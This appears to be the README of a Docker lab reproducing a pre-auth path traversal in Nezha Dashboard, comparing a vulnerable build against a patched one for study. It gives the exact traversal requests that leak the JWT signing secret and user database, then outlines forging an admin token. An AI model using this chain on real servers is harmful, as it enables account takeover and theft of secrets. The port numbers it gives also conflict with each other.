Exploit for CVE-2026-53519

## https://sploitus.com/exploit?id=BC1616F3-5603-5DF0-BC03-2E01A7A1107D
# Lab CVE-2026-53519 - Nezha Dashboard pre-auth path traversal

Lab tai hien lo hong **pre-auth path traversal via `/dashboard..` prefix confusion** trong
Nezha Dashboard, dan toi leak `jwt_secret_key` -> forge JWT -> chiem quyen admin.
Moi truong Docker, tach A/B theo version de so sanh **vuln vs patched**.

| | Image | URL (loopback) | Ket qua ky vong |
|---|---|---|---|
| Vulnerable | `ghcr.io/nezhahq/nezha:v2.0.12` | http://127.0.0.1:9090 | leak config.yaml, chiem admin |
| Patched | `ghcr.io/nezhahq/nezha:v2.0.13` | http://127.0.0.1:9091 | bi chan (404) |

Ca hai chi bind `127.0.0.1`, khong expose ra LAN. Dang nhap admin mac dinh: `admin` / `admin`.

## Yeu cau
- Docker Desktop (dang chay)
- PowerShell 5.1+
- Python 3 (`python`) - de parse sqlite.db bi leak (co fallback neu thieu)

## Chay lab

```powershell
# 1. Seed data + up 2 container (vuln 8080, patched 8081)
.\lab.ps1 reset

# 2. Smoke check nhanh
.\lab.ps1 validate

# 3. Chuoi khai thac day du tren VULN
powershell -ExecutionPolicy Bypass -File .\poc\poc-cve-2026-53519.ps1

# 4. Doi chung tren PATCHED (mong doi: bi chan)
powershell -ExecutionPolicy Bypass -File .\poc\poc-cve-2026-53519.ps1 -Patched

# 5. Negative controls (vi sao dung bien the nay moi leak)
powershell -ExecutionPolicy Bypass -File .\poc\negative-controls.ps1
```

Lenh quan ly:
```powershell
.\lab.ps1 start | stop | status | logs [vuln|patched]
```

## Chuoi khai thac (tom tat)

1. **Stage 1 - Path traversal (pre-auth)**
   `GET /dashboard../data/config.yaml` -> leak `jwt_secret_key`.
   `GET /dashboard../data/sqlite.db` -> lay user id admin (id=1).
2. **Stage 2 - JWT forgery**
   Ky HS256 `{user_id:"1", ip:"", exp:}` bang secret leak -> `Authorization: Bearer `
   -> `GET /api/v1/profile` (xac thuc) va `GET /api/v1/user` (endpoint chi-admin) -> **admin takeover**.

Chi tiet root cause: xem [`analysis/ROOT_CAUSE.md`](analysis/ROOT_CAUSE.md) va
[`analysis/vuln-vs-patch.diff`](analysis/vuln-vs-patch.diff).
Bao cao day du: [`REPORT_CVE_2026_53519.md`](REPORT_CVE_2026_53519.md).

## Cau truc
```
docker-compose.yml           # A/B vuln (8080) vs patched (8081)
seed/config.yaml             # seed jwt_secret_key co dinh (deterministic)
seed/lab_canary.txt          # canary de minh hoa file read
lab.ps1 / lab-common.ps1     # quan ly + helper (raw HTTP, forge JWT HS256)
poc/poc-cve-2026-53519.ps1   # chuoi khai thac day du
poc/negative-controls.ps1    # doi chung cac bien the bi chan
poc/parse_users.py           # parse sqlite.db leak -> user id admin
analysis/ROOT_CAUSE.md       # phan tich + ban va
analysis/vuln-vs-patch.diff  # diff controller.go v2.0.12 -> v2.0.13
evidence/                    # output tu moi lan chay (leaked-config, token, userlist...)
```

## Luu y an toan
Lab chi dung cho nghien cuu/giao duc trong moi truong cuc bo. `jwt_secret_key` trong `seed/config.yaml`
la gia tri gia, chi phuc vu demo. Khong dung image/version dinh loi nay tren production.

## Nguon
- PoC goc: https://github.com/tar-xz/CVE-2026-53519-PoC
- NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-53519
- Nezha: https://github.com/nezhahq/nezha